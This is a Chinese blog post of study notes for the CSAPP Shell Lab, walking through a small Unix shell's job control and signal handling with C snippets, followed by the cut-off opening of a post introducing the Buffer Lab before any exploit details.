Lab里应该很熟悉。\nCtrl+C和Ctrl+Z需要向前台程序 和其后代进程 对应的信号。\n如果命令以 \u0026amp; 结尾，将其放到后台运行。\n为每个进程或工作分配一个PID或JID，JID应以 % 开头。这一部分已被实现\n实现 quit、jobs、bg 和 fg 内置命令。\n实现终止所有后代僵尸进程。\n关于测试 每进行一次修改，都要运行 make 命令 以重新编译，然后运行 ./tsh 来执行。\n本实验提供一个参考程序 tshref，做出来的 tsh 与其输出相同，便代表你是正确的。如果要测试正确性，可以在 tsh 和 tshref 中手动输入命令对比，使用sdriver.pl来自动判断，或者结合使用。目录中还有16个测试文件，可以使用如下的命令来对比测试。其中的 - p参数表示不输出命令行tsh \u0026gt; 开头。\nbash 复制代码 unix\u0026gt; ./sdriver.pl -t trace01.txt -s ./tsh -a \u0026#34;-p\u0026#34; unix\u0026gt; ./sdriver.pl -t trace01.txt -s ./tshref -a \u0026#34;-p\u0026#34; # 上面两个与下面两个命令等效 unix\u0026gt; make test01 unix\u0026gt; make rtest01 1 2 3 4 5 unix\u0026gt; ./sdriver.pl -t trace01.txt -s ./tsh -a \u0026#34;-p\u0026#34; unix\u0026gt; ./sdriver.pl -t trace01.txt -s ./tshref -a \u0026#34;-p\u0026#34; # 上面两个与下面两个命令等效 unix\u0026gt; make test01 unix\u0026gt; make rtest01 但也不是所有情况都需要让两个输出相同。比如运行的PID很可能甚至一定不相同。另外，trace11-13的 ps 输出可能次次不同，但重点是使进程状态相同。\n此外，lab文件还带有几个测试程序，用法和作用分别如下：\nmystop \u0026lt;n\u0026gt; - 睡眠n秒，然后向自己发送 SIGTSTP。\nmysplit \u0026lt;n\u0026gt; - fork 一个子进程，自旋n秒。\nmyspin \u0026lt;n\u0026gt; - 睡眠n秒。\nmyint \u0026lt;n\u0026gt; - 睡眠n秒，然后向自己发送 SIGINT。\n如果你想要一次对比所有测试的输出，可以使用以下的方法（参考资料4）：\n在Shell Lab目录中放置 这个文件 和 这个文件；\n运行下面的命令：\nbash 复制代码 ./judge.sh \u0026gt; test.log ./rjudge.sh \u0026gt; rtest.log 1 2 ./judge.sh \u0026gt; test.log ./rjudge.sh \u0026gt; rtest.log 将rtest.log中的tshref全部替换为tsh，使用你喜欢的编辑器（如vscode）的正则表达式替换，将两文件的 \\(\\d*\\) 替换为10000；\n使用你喜欢的对比工具（仍然可用vscode）对比test.log和rtest.log，不同应该只有 ps 命令输出的PID。\n更多的用法请自行参见Writeup的Checking Your Work一节。\nTricks 个人建议使用Git进行版本控制，并进行相对密集的Commit，以分清各阶段所做的工作，并方便地回退代码。\n如果你测试过程中发现无法退出tsh，可以打开另一个终端窗口，执行 killall tsh。\n错误处理也可以先不做，在trace14处对照填写。\ntrace01 trace01.txt - 在EOF处正确地停止。\neval 函数是根据输入命令行进行对应操作的函数。在CSAPP 2e 8.4.6节（中文版P502 / 英文版P733），有 eval 函数的大致框架，先填上再说。语句作用我都填到注释里了：\nc 复制代码 void eval(char *cmdline) { char *argv[MAXARGS]; char buf[MAXLINE]; // command will be parsed and modified? int bg; // whether it runs in background pid_t pid; // preprocess cmd line strcpy(buf, cmdline); bg = parseline(buf, argv); // convert the command into argv if (argv[0] == NULL) // the line is empty, return { return; } // run external command if (!builtin_cmd(argv)) { if ((pid = fork()) == 0) // this is child { if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed { printf(\u0026#34;%s: Command not found\\n\u0026#34;, argv[0]); exit(0); // here only child exited } } if (!bg) // run the process in foreground: // wait for foreground job to terminate { int status; if (waitpid(pid, \u0026amp;status, 0) \u0026lt;0) // if return -1, then waiting failed { unix_error(\u0026#34;waitfg: waitpid error\u0026#34;); } } else { printf(\u0026#34;%d %s\u0026#34;, pid, cmdline); } } return; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 void eval(char *cmdline) { char *argv[MAXARGS]; char buf[MAXLINE]; // command will be parsed and modified? int bg; // whether it runs in background pid_t pid; // preprocess cmd line strcpy(buf, cmdline); bg = parseline(buf, argv); // convert the command into argv if (argv[0] == NULL) // the line is empty, return { return; } // run external command if (!builtin_cmd(argv)) { if ((pid = fork()) == 0) // this is child { if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed { printf(\u0026#34;%s: Command not found\\n\u0026#34;, argv[0]); exit(0); // here only child exited } } if (!bg) // run the process in foreground: // wait for foreground job to terminate { int status; if (waitpid(pid, \u0026amp;status, 0) \u0026lt;0) // if return -1, then waiting failed { unix_error(\u0026#34;waitfg: waitpid error\u0026#34;); } } else { printf(\u0026#34;%d %s\u0026#34;, pid, cmdline); } } return; } 这个框架做的事情如下：\n使用 parseline 预处理命令行，将一整个字符串按空格分割为字符串数组；\n使用 builtin_command 检测并处理内置命令，如果为内置命令，归 builtin_command 函数处理；\nfork 出一个新进程；\n在新进程中，execve 运行对应的程序，如果运行失败，提示错误信息，将子进程退出；\n如果运行的程序是前台进程，那么就要等待前台进程结束，再继续运行shell；\n否则，如果是后台进程，直接打印命令信息。\ntrace01只需要正确响应EOF就可以了。在课本的程序框架中，已经使用 parseline 函数将命令行解析为了参数，并判断了第一个参数是否为NULL。显然，第一个参数是NULL，后面当然更是NULL，意味着没有输入。也就是说，我们什么额外的工作都不用干……\n详细的Git Commit更改见 此处。通过如图：\ntrace02 trace02.txt - 处理内置的 quit 命令。\n在tsh中，内置的命令实在 builtin_cmd 函数中处理的。只需要在其中判断一下第一个参数是否为 quit，如果是的话退出即可。\n在 builtin_cmd 中插入以下代码：\nc 复制代码 if (strcmp(argv[0], \u0026#34;quit\u0026#34;) == 0) // process quit command { exit(0); } 1 2 3 4 if (strcmp(argv[0], \u0026#34;quit\u0026#34;) == 0) // process quit command { exit(0); } 详细的Git Commit更改见 此处。通过如图：\ntrace03/04 trace03.txt - 运行一个前台任务。\ntrace04.txt - 运行一个后台任务。\n在课本的 eval 框架中，首先使用 builtin_cmd 判断并处理内置函数，然后根据 bg 值（由 parseline 得到）判断是否在后台运行。这其中会先 fork 出一个子进程，然后使用 execve 执行目标程序。请注意，只有子进程会在运行失败时 exit。根据是否是前台任务，判断是直接打印执行详情还是等待前台进程结束。\nc 复制代码 if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd` { if ((pid = fork()) == 0) // this is child { if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed { printf(\u0026#34;%s: Command not found\\n\u0026#34;, argv[0]); exit(0); // here only child exited } } if (!bg) // run the process in foreground: // wait for foreground job to terminate { int status; if (waitpid(pid, \u0026amp;status, 0) \u0026lt;0) // if return -1, then waiting failed { unix_error(\u0026#34;waitfg: waitpid error\u0026#34;); } } else { printf(\u0026#34;%d %s\u0026#34;, pid, cmdline); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd` { if ((pid = fork()) == 0) // this is child { if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed { printf(\u0026#34;%s: Command not found\\n\u0026#34;, argv[0]); exit(0); // here only child exited } } if (!bg) // run the process in foreground: // wait for foreground job to terminate { int status; if (waitpid(pid, \u0026amp;status, 0) \u0026lt;0) // if return -1, then waiting failed { unix_error(\u0026#34;waitfg: waitpid error\u0026#34;); } } else { printf(\u0026#34;%d %s\u0026#34;, pid, cmdline); } } 说了这么多又是什么意思？这道题又什么都不用做。\n此题没有Commit，输出有一个格式问题，在trace05的commit内一起解决。通过如图。这里的job编号不同是正常现象，这个问题将在trace05中解决。\ntrace05 trace05.txt - 处理 jobs 内置命令。\n先拿软柿子下手，将处理 jobs 命令的地方做好。tsh已经为我们实现了 listjobs 函数，可以直接放到 builtin_cmd 中。注意 return 1 用来告诉 eval 已经找到了一个内置命令，否则会提示 “command not found”。\nc 复制代码 if (strcmp(argv[0], \u0026#34;jobs\u0026#34;) == 0) // t5: process jobs command { listjobs(jobs); return 1; // this IS a builtin command, return 1 to notify } 1 2 3 4 5 if (strcmp(argv[0], \u0026#34;jobs\u0026#34;) == 0) // t5: process jobs command { listjobs(jobs); return 1; // this IS a builtin command, return 1 to notify } 但是不管怎么样，运行 jobs 都不会输出任何东西。毕竟在我们已有的代码里，既没有在任务开始时将其添加到任务列表，也没有在结束时将它移出。要做到将任务添加到任务列表，需要在 fork 后调用 addjob：\nc 复制代码 printf(\u0026#34;%s: Command not found\\n\u0026#34;, argv[0]); exit(0); // here only child exited } } addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list. // When bg=1, state=2; bg=0, state=1. this way it\u0026#39;s just elegant if (!bg) // run the process in foreground: 1 2 3 4 5 6 7 printf(\u0026#34;%s: Command not found\\n\u0026#34;, argv[0]); exit(0); // here only child exited } } addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list. // When bg=1, state=2; bg=0, state=1. this way it\u0026#39;s just elegant if (!bg) // run the process in foreground: 上述代码的 addjob 中第三个参数 state 有三个取值，FG=1、BG=2、ST=3。虽然直接使用 bg+1 也是可行的方案，但这样使用三元运算符会更优雅更容易理解。\n至于删除任务的工作，需要在 sigchld_handler 函数中处理。这涉及到对 waitpid 函数的更深入理解，在CSAPP 8.4.3节（中文版P496，英文版P724），提到了这样一段话，介绍了 waitpid 函数的默认行为，以及退出状态的检查方法（中翻太烂了，这是我自己翻的）：\n（更改默认行为）WNOHANG|WUNTRACED：立即返回。如果等待集里面没有子进程已经终止，那么返回0；否则，返回其中一个已终止子进程的PID。\n（检查回收子进程的返回状态）WIFEXITED(status)：如果子进程正常退出，即通过调用 exit 或者 return，则返回真。\nWriteup中也提到 WNOHANG|WUNTRACED 或许会有用。如果没有 WNOHANG 参数，shell会一直等待，直到有一个子进程退出。而如果没有 WUNTRACED 参数，那么程序无法捕捉到STOP的子进程情况，这样会卡在trace16。\n上述的前一个更改默认行为的部分对应了 waitpid 的第三个参数，后一个函数检查用于确定是否有个子进程真的退出了（而非没有子进程终止，waitpid 返回了0）。有了这些知识，可以得到实现如下，如此便可以将退出的进程从任务列表删除：\nc 复制代码 void sigchld_handler(int sig) { pid_t pid; int status; while((pid=waitpid(-1,\u0026amp;status,WNOHANG|WUNTRACED))\u0026gt;0) // check if a child has become zombie, without wait { if(WIFEXITED(status)) { deletejob(jobs,pid); // remove pid from job list } } return; } 1 2 3 4 5 6 7 8 9 10 11 12 13 void sigchld_handler(int sig) { pid_t pid; int status; while((pid=waitpid(-1,\u0026amp;status,WNOHANG|WUNTRACED))\u0026gt;0) // check if a child has become zombie, without wait { if(WIFEXITED(status)) { deletejob(jobs,pid); // remove pid from job list } } return; } 这并没有结束，我们需要干其他的亿些工作。我们知道如果shell要继续运行，需要等待前台任务（如果有）结束，比如在前面的通过截图中，只有 make test04 结束后，shell才会再打印出 “cyp0633@cyp0633-R7000-Linux\u0026gt; ~/ 桌面\u0026hellip;” 字样，在本实验中就是“tsh\u0026gt;”。但tsh有一个 waitfg 函数，看起来他们不想让我们把等待工作放到 eval 中。于是这一部分改成：\nc 复制代码 if (!bg) // run the process in foreground: // wait for foreground job to terminate { waitfg(pid); // the waiting stuff should be done in `waitfg` } 1 2 3 4 5 if (!bg) // run the process in foreground: // wait for foreground job to terminate { waitfg(pid); // the waiting stuff should be done in `waitfg` } 至于 waitpid 函数的实现，Writeup中已经给了提示：\n实验有一个棘手的部分，是决定 waitfg 和 sigchld 处理函数之间的工作分配。我们推荐以下方法：\n- 在 waitfg 中，用一个死循环包裹 sleep 函数。\n- 在 sigchld_handler 中，调用且仅调用一次 waitpid。\n所谓的工作分配，指的是 waitfg 和 sigchld_handler 都有等待进程结束的功能。waitfg 的作用前面已经说明，而 sigchld_handler 负责接收任何子进程结束的信号，并将其回收，注意它是一个handler。waitfg 的实现如下：\nc 复制代码 void waitfg(pid_t pid) { while (pid == fgpid(jobs)) { sleep(0); } return; } 1 2 3 4 5 6 7 8 void waitfg(pid_t pid) { while (pid == fgpid(jobs)) { sleep(0); } return; } 也可以在这里调用 waitpid 等待前台进程退出，但它可能会抢走 sigchld_handler 的信号，而不会执行 deletejob。结果就是在trace05中会打印一堆tsh。那当然可以在这里也加一个 deletejob，但Writeup中指出这种工作分配是不明确的。所以最好的办法就是在有前台进程的时候一直等待。\n另外还要处理 eval 中的信号问题。Writeup中提到：\n在 eval 中，父进程在 fork 子进程之前，必须使用 sigprocmask 函数来阻断 SIGCHLD 信号，然后在使用 addjob 将子进程加入任务列表之后，再调用 sigprocmask 恢复 SIGCHLD 信号。因为子进程继承了父进程的中断向量，所以子进程必须在它执行新程序之前将 SIGCHILD 恢复。\n父进程这样将 SIGCHLD 信号阻断，是为了避免子进程被 SIGCHLD 处理程序回收（然后被从任务列表中移除），_之后_父进程调用 addjob 时的竞态条件。\n于是，我们在 eval 函数最前面声明变量的区域加入几行：\nc 复制代码 sigset_t mask; sigemptyset(\u0026amp;mask); 1 2 sigset_t mask; sigemptyset(\u0026amp;mask); 然后在判断不是内置命令之后，阻断 SIGCHLD 信号，修改如下：\nc 复制代码 if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd` { sigaddset(\u0026amp;mask, SIGCHLD); sigprocmask(SIG_BLOCK, \u0026amp;mask, NULL); // 5. block SIGCHLD if ((pid = fork()) == 0) // this is child 1 2 3 4 5 if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd` { sigaddset(\u0026amp;mask, SIGCHLD); sigprocmask(SIG_BLOCK, \u0026amp;mask, NULL); // 5. block SIGCHLD if ((pid = fork()) == 0) // this is child 然后，在子进程 execve 之前，恢复信号，修改如下：\nc 复制代码 if ((pid = fork()) == 0) // this is child { sigprocmask(SIG_UNBLOCK, \u0026amp;mask, NULL); // 5. unblock SIGCHLD if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed 1 2 3 4 if ((pid = fork()) == 0) // this is child { sigprocmask(SIG_UNBLOCK, \u0026amp;mask, NULL); // 5. unblock SIGCHLD if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed 再然后，父进程 addjob 完毕后也要恢复：\nc 复制代码 addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list. // When bg=1, state=2; bg=0, state=1. this way it\u0026#39;s just elegant sigprocmask(SIG_UNBLOCK, \u0026amp;mask, NULL); // 5. unblock SIGCHLD if (!bg) // run the process in foreground: 1 2 3 4 addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list. // When bg=1, state=2; bg=0, state=1. this way it\u0026#39;s just elegant sigprocmask(SIG_UNBLOCK, \u0026amp;mask, NULL); // 5. unblock SIGCHLD if (!bg) // run the process in foreground: 这样就可以通过trace05的测试了，Git Commit见 此处，通过截图如下。\ntrace06 trace06.txt - 将 SIGINT 信号发送到前台任务。\n这个trace解决起来比较简单。最核心的，我们需要实现 SIGINT 信号的处理例程。这里使用 -pid 是为了将整个进程组的进程全部干掉。\nc 复制代码 void sigint_handler(int sig) { pid_t pid = fgpid(jobs); // get pid of foreground job if (kill(-pid, SIGINT) \u0026lt;0) // try to send SIGINT { unix_error(\u0026#34;sigint error\u0026#34;); // failed } return; } 1 2 3 4 5 6 7 8 9 void sigint_handler(int sig) { pid_t pid = fgpid(jobs); // get pid of foreground job if (kill(-pid, SIGINT) \u0026lt;0) // try to send SIGINT { unix_error(\u0026#34;sigint error\u0026#34;); // failed } return; } 在 tshref 中，终止进程后还会输出一行提示信息，由于这也算是子进程结束了，这部分也是在 sigchld_handler 中处理的。将函数修改为如下的样子即可。\nc 复制代码 void sigchld_handler(int sig) { pid_t pid; int status; while((pid=waitpid(-1,\u0026amp;status,WNOHANG|WUNTRACED))\u0026gt;0) // check if a child has become zombie, without wait { if(WIFEXITED(status)) { deletejob(jobs,pid); // remove pid from job list } if (WIFSIGNALED(status)) { printf(\u0026#34;Job [%d] (%d) terminated by signal %d\\n\u0026#34;, pid2jid(pid), pid, WTERMSIG(status)); deletejob(jobs, pid); } } if (pid \u0026lt; 0 \u0026amp;\u0026amp; errno != ECHILD) { unix_error(\u0026#34;waitpid error\u0026#34;); } return; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void sigchld_handler(int sig) { pid_t pid; int status; while((pid=waitpid(-1,\u0026amp;status,WNOHANG|WUNTRACED))\u0026gt;0) // check if a child has become zombie, without wait { if(WIFEXITED(status)) { deletejob(jobs,pid); // remove pid from job list } if (WIFSIGNALED(status)) { printf(\u0026#34;Job [%d] (%d) terminated by signal %d\\n\u0026#34;, pid2jid(pid), pid, WTERMSIG(status)); deletejob(jobs, pid); } } if (pid \u0026lt; 0 \u0026amp;\u0026amp; errno != ECHILD) { unix_error(\u0026#34;waitpid error\u0026#34;); } return; } 还有一个坑，在Writeup中已经提到。\n当你在标准Unix shell中运行你的shell时，你的shell处于前台进程组。如果你的shell创建一个子进程，那么它默认也会被加到前台进程组内。因为输入Ctrl+C会向前台进程组的所有进程发送 SIGINT 信号，所以你输入Ctrl+C也会向你的shell和你创建的子进程发送 SIGINT，这显然不对。\n这里有个解决办法：在 fork 之后，execve 之前，子进程应该调用 setpgid(0, 0)，来将子进程放置到一个新的进程组内，组ID与子进程PID相同。这确保了只会有一个进程——即你的shell——处于前台进程组内。当你按下Ctrl+C，shell应该捕获 SIGINT 信号，然后将其传递到正确的前台应用（或更准确地，包含前台进程的进程组）。\n长话短说，就是使用Ctrl+C结束tsh中运行的前台进程，会把shell一起干掉。解决办法就是在 execve 之前设置进程组。两个0分别代表要加入的是当前进程，以及新建一个GID=PID的组。\nc 复制代码 sigprocmask(SIG_UNBLOCK, \u0026amp;mask, NULL); // 5. unblock SIGCHLD setpgid(0, 0); // put the child process (0=current) into a new process group (0=current) if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed 1 2 3 sigprocmask(SIG_UNBLOCK, \u0026amp;mask, NULL); // 5. unblock SIGCHLD setpgid(0, 0); // put the child process (0=current) into a new process group (0=current) if (execve(argv[0], argv, environ) \u0026lt;0) // execute command failed Git Commit见 此处，通过截图见下。\ntrace07 trace07.txt - 将 SIGINT 信号 只 发送到前台任务。\n其实单论测试的话，上个trace的程序现在也可以直接用，能过。但测试用例没有测试没有前台任务的情况，为了让程序更完善，还是要做一处修改。\n在 sigint_handler 中。需要判断是否存在前台任务，如果没有，就不需要做任何事。这样，在什么都没运行的时候按下Ctrl+C，tsh就不会直接挂掉，什么都输不进去。在没有前台任务的情况下，fgpid 会返回0，我们可以利用这个特性。\nc 复制代码 void sigint_handler(int sig) { pid_t pid = fgpid(jobs); // get pid of foreground job if (pid != 0) // if no foreground job (PID=0), do nothing (ONLY send to foreground) { if (kill(-pid, SIGINT) \u0026lt;0) // try to send SIGINT { unix_error(\u0026#34;sigint error\u0026#34;); // failed } } return; } 1 2 3 4 5 6 7 8 9 10 11 12 void sigint_handler(int sig) { pid_t pid = fgpid(jobs); // get pid of foreground job if (pid != 0) // if no foreground job (PID=0), do nothing (ONLY send to foreground) { if (kill(-pid, SIGINT) \u0026lt;0) // try to send SIGINT { unix_error(\u0026#34;sigint error\u0026#34;); // failed } } return; } Git Commit见 此处，通过截图见下。\ntrace08 trace08.txt - 将 SIGTSTP 信号只发送给前台任务。\nSIGTSTP 对应的是Ctrl+Z。实现方法很像上两个trace的方法，只需改 sigtstp_handler 和 sigchld_handler 就行了。\n首先是 sigtstp_handler：\nc 复制代码 void sigtstp_handler(int sig) { pid_t pid = fgpid(jobs); if (pid != 0) { if (kill(-pid, SIGTSTP) \u0026lt;0) { unix_error(\u0026#34;sigtstp error\u0026#34;); } } return; } 1 2 3 4 5 6 7 8 9 10 11 12 void sigtstp_handler(int sig) { pid_t pid = fgpid(jobs); if (pid != 0) { if (kill(-pid, SIGTSTP) \u0026lt;0) { unix_error(\u0026#34;sigtstp error\u0026#34;); } } return; } 然后是 sigchld_handler。注意这里额外地要将工作的状态改为停止（对应上文 addjob 说明处的三种状态类型）：\nc 复制代码 if (WIFSIGNALED(status)) // SIGINT, etc. { printf(\u0026#34;Job [%d] (%d) terminated by signal %d\\n\u0026#34;, pid2jid(pid), pid, WTERMSIG(status)); deletejob(jobs, pid); } // 插入下面的部分 if (WIFSTOPPED(status)) // SIGTSTP, etc. { printf(\u0026#34;Job [%d] (%d) stopped by signal %d\\n\u0026#34;, pid2jid(pid), pid, WSTOPSIG(status)); struct job_t *job = getjobpid(jobs, pid); job-\u0026gt;state = ST; } 1 2 3 4 5 6 7 8 9 10 11 12 if (WIFSIGNALED(status)) // SIGINT, etc. { printf(\u0026#34;Job [%d] (%d) terminated by signal %d\\n\u0026#34;, pid2jid(pid), pid, WTERMSIG(status)); deletejob(jobs, pid); } // 插入下面的部分 if (WIFSTOPPED(status)) // SIGTSTP, etc. { printf(\u0026#34;Job [%d] (%d) stopped by signal %d\\n\u0026#34;, pid2jid(pid), pid, WSTOPSIG(status)); struct job_t *job = getjobpid(jobs, pid); job-\u0026gt;state = ST; } 这样就通过了。Git Commit见 此处，通过截图见下。\ntrace09/10 trace09.txt - 处理 bg 内置命令\ntrace10.txt - 处理 fg 内置命令\nbg 和 fg 命令是由 do_bgfg 函数处理的，我们需要在 builtin_cmd 里添加合适的调用。\nc 复制代码 if (strcmp(argv[0], \u0026#34;bg\u0026#34;) == 0 || strcmp(argv[0], \u0026#34;fg\u0026#34;) == 0) // judge bg \u0026amp; fg { do_bgfg(argv); return 1; } 1 2 3 4 5 if (strcmp(argv[0], \u0026#34;bg\u0026#34;) == 0 || strcmp(argv[0], \u0026#34;fg\u0026#34;) == 0) // judge bg \u0026amp; fg { do_bgfg(argv); return 1; } bg 和 fg 命令的参数 \u0026lt;job\u0026gt; 可以是PID或者JID。在Writeup的Specification一节中，有这样一段话：\nbg \u0026lt;job\u0026gt; 命令通过发送 SIGCONT 指令给工作来使它重新开始，然后让它运行在后台。\nfg \u0026lt;job\u0026gt; 命令通过发送 SIGCONT 指令给工作来使它重新开始，然后让它运行在前台。\n这么一来，用一个函数处理两个命令就显得很合理了。在 do_bgfg 函数中，要获取参数中的PID或者JID，解析为合适的任务类型指针，发送 SIGCONT 信号，然后根据前台和后台决定所要做的事情。\n当然，首先不能忘了定义变量。end 的作用将在后面说明。\nc 复制代码 char *id = argv[1], *end; // JID or PID struct job_t *job; int numid; 1 2 3 char *id = argv[1], *end; // JID or PID struct job_t *job; int numid; 然后检查参数是否存在。\nc 复制代码 // extract job or process if (id == NULL) // not specified { printf(\u0026#34;%s command requires PID or %%jobid argument\\n\u0026#34;, argv[0]); return; } 1 2 3 4 5 6 // extract job or process if (id == NULL) // not specified { printf(\u0026#34;%s command requires PID or %%jobid argument\\n\u0026#34;, argv[0]); return; } 对JID和PID的第一、二步处理是不尽相同的，斟酌再三还是分开处理为好。\n首先是JID的情况。将 id 指针自增1，是为了让指针指向第一个数字，然后使用 strtol 功能将其从字符串转为数字。在转换的过程中，end 会被设定为指向被转换的最后一个数字的下一个字符。正常情况下，JID/PID并不应该包含除开头 % 号外的字符，所以 end 指向的应该是表示字符串结尾的 \\0。具体可以参考 这个链接，但他的判断条件只能保证不以字符开头，如果遇到类似于1a23的字符串，仍然不会提示异常，并返回1。虽然我这么做只是为了避免多遍历一遍字符串判断是否有其他字符，稍快一点，代码也优雅一点……\n然后就是调用 getjobjid 得到job了，再加一个是否存在的判断。\nc 复制代码 if (id[0] == \u0026#39;%\u0026#39;) // this is a job { id\u0026#43;\u0026#43;; // point to the number position numid = strtol(id, \u0026amp;end, 10); // convert id char[] to integer if (*end !=\u0026#39;\\0\u0026#39;) // contains non-digit characters { printf(\u0026#34;%s: argument must be a PID or %%jobid\\n\u0026#34;, argv[0]); return; } job = getjobjid(jobs, numid); // try to get job if (job == NULL) { printf(\u0026#34;%%%d: No such job\\n\u0026#34;, numid); return; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (id[0] == \u0026#39;%\u0026#39;) // this is a job { id++; // point to the number position numid = strtol(id, \u0026amp;end, 10); // convert id char[] to integer if (*end !=\u0026#39;\\0\u0026#39;) // contains non-digit characters { printf(\u0026#34;%s: argument must be a PID or %%jobid\\n\u0026#34;, argv[0]); return; } job = getjobjid(jobs, numid); // try to get job if (job == NULL) { printf(\u0026#34;%%%d: No such job\\n\u0026#34;, numid); return; } } 对于PID的情况，不同的地方只在于没有自增，换了适用于PID的函数，以及提示信息改变而已。\nc 复制代码 else // this is a process { numid = strtol(id, \u0026amp;end, 10); if (*end !=\u0026#39;\\0\u0026#39;) { printf(\u0026#34;%s: argument must be a PID or %%jobid\\n\u0026#34;, argv[0]); return; } job = getjobpid(jobs, numid); // try to get proc if (job == NULL) { printf(\u0026#34;(%d): No such process\\n\u0026#34;, atoi(id)); return; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 else // this is a process { numid = strtol(id, \u0026amp;end, 10); if (*end !=\u0026#39;\\0\u0026#39;) { printf(\u0026#34;%s: argument must be a PID or %%jobid\\n\u0026#34;, argv[0]); return; } job = getjobpid(jobs, numid); // try to get proc if (job == NULL) { printf(\u0026#34;(%d): No such process\\n\u0026#34;, atoi(id)); return; } } 发送信号很简单，就一行。仍然是给全组发送。\nc 复制代码 kill(-(job-\u0026gt;pid), SIGCONT); 1 kill(-(job-\u0026gt;pid), SIGCONT); 最后是根据前台或者后台的要求，做出相应的行为，这与 eval 最后的行为比较类似，将 waitfg 封装起来也是便于这里再利用。\nc 复制代码 if (strcmp(argv[0], \u0026#34;fg\u0026#34;) == 0) // foreground { job-\u0026gt;state = FG; waitfg(job-\u0026gt;pid); } else // background { job-\u0026gt;state = BG; printf(\u0026#34;[%d] (%d) %s\u0026#34;, job-\u0026gt;jid, job-\u0026gt;pid, job-\u0026gt;cmdline); } 1 2 3 4 5 6 7 8 9 10 if (strcmp(argv[0], \u0026#34;fg\u0026#34;) == 0) // foreground { job-\u0026gt;state = FG; waitfg(job-\u0026gt;pid); } else // background { job-\u0026gt;state = BG; printf(\u0026#34;[%d] (%d) %s\u0026#34;, job-\u0026gt;jid, job-\u0026gt;pid, job-\u0026gt;cmdline); } 把这些都填上，就实现了 bg 和 fg 内置命令的处理。Git Commit见 此处，通过图如下。\ntrace11-16 trace11.txt - 将 SIGINT 信号发送给前台进程集里的每个进程\ntrace12.txt - 将 SIGTSTP 信号发送给前台进程集里的每个进程\ntrace13.txt - 将进程集里的每个停止的进程重启\ntrace14.txt - 简单的错误处理\ntrace15.txt - 全都混到一起\ntrace16.txt - 测试shell是否能够处理来自其他进程（而不是终端）的 SIGTSTP 和 SIGINT 信号\n到上一节，我们所写的Shell应该也能够完美处理这些测试用例，你什么都不用做，应该就能看到正确的输出。\n在Trace 11-12中，要做到 “发送给进程集中的每个进程”，重点在于 kill(-pid, signal) 中的负号。这表示对整个进程集发送。Trace 11中 SIGINT 把整个进程集干掉了，所以 ps 的输出应该没有任何一个 mysplit；而Trace 12让整个进程集停止，所以在 ps 的输出中，你应该能看到两个停止状态的 mysplit。关于 ps 的输出，可以参见 这里。\n在Trace 13中，mysplit 先被停止，然后被转到前台运行，直到结束。所以可以观察到第一个 ps 的输出中有两个等几秒，然后第二个 ps 的输出没有 mysplit。\n如果说在前面不知道错误处理的文字怎么写，可以参考 make rtest14 的输出。\nTrace 16的处理方法其实有点意思。在前面写的过程中，我们可以发现 SIGINT 和 SIGTSTP 的提示输出都放到了 sigchld_handler 中，而不是各自的handler函数中。因为如果放到各自的handler中，就不会在Trace 16的情况下被唤起（因为信号不是发给Shell的），而 sigchld_handler 却可以接收因任何原因造成的停止，恰巧可以使用 WIFSIGNALED 等函数判断停止原因，所以也能够实现分信号的处理。参考文献3的Step 6就是这方面的讲解，值得一看。\n参考文献 https://zhuanlan.zhihu.com/p/89224358（只有代码，抄倒是可以抄）\nhttps://hackmd.io/@KYWeng/SyK1Hk63S（讲得很详细，主要参考这篇；做到了高于实验标准）\nhttps://www.jianshu.com/p/7f5e78e83a0e（分step的想法不错，而且Step 6讲得很好）\nhttp://home.ustc.edu.cn/~liuly0322/blog/2022/03/19/csapp-shell/（结果测试方法值得学习，Trace 16讲得也明白）\n参考文献可能有各自的许可证。\n","date":"May 25, 2022","matchCount":0,"permalink":"/post/csapp-2e-shell-lab-%E7%AC%94%E8%AE%B0/","preview":"","title":"CSAPP 2e Shell Lab 笔记"},{"content":"这个Lab训练了进行缓冲区溢出攻击的能力。这个Lab有点像Bomb Lab，但你每次运行所进入的level和你输入的数据有关，虽是渐进关系但可以单独挑战，并不是Bomb Lab闯关的形式。\n使用的是32位实验文件，运行在Ubuntu 22.04 LTS系统上。实验文件因人而异，下述方法通用，但具体数值是不能通用的。\n个人感觉这个Lab前四个Level比前面的Data Lab和Bomb Lab更简单，在英语水平尚可的情况下，更建议不参考他人文章，直接尝试阅读Writeup做题。 如果你还没有Writeup，可以在 这里 下载。\n前期准备 buflab-writeup.pdf包含了很多本实验的前置知识，以及每个Level的指引，请务必仔细阅读。简要挑几个说一下：\n虽然是32位文件，但64位系统也可以运行。 每次运行Buffer Bomb，都要带 -u \u0026lt;username\u0026gt; 参数。这个参数会生成对应的Cookie，进而用于生成不同的答案。也可以使用makecookie程序只生成cookie。此处均以用户名为cyp0633为例。 如果（其实是一定）需要输入非标准ASCII字符，可以使用hex2raw，将十六进制ASCII码转换为对应的ASCII字符。这相当于一个答案的预处理器，将你输入的十六进制文本转换为程序能读取的raw二进制格式。 hex2raw的输入部分由两位十六进制码（不含前面的0x）和分隔符（空格或换行）组成。支持C语言风格注释 /* ... */ 格式（前后需要空格）。换行是一道题中多次输入答案的分隔符，而这个换行只由0a表示，不由文本中的换行表示。所以你会看到Level 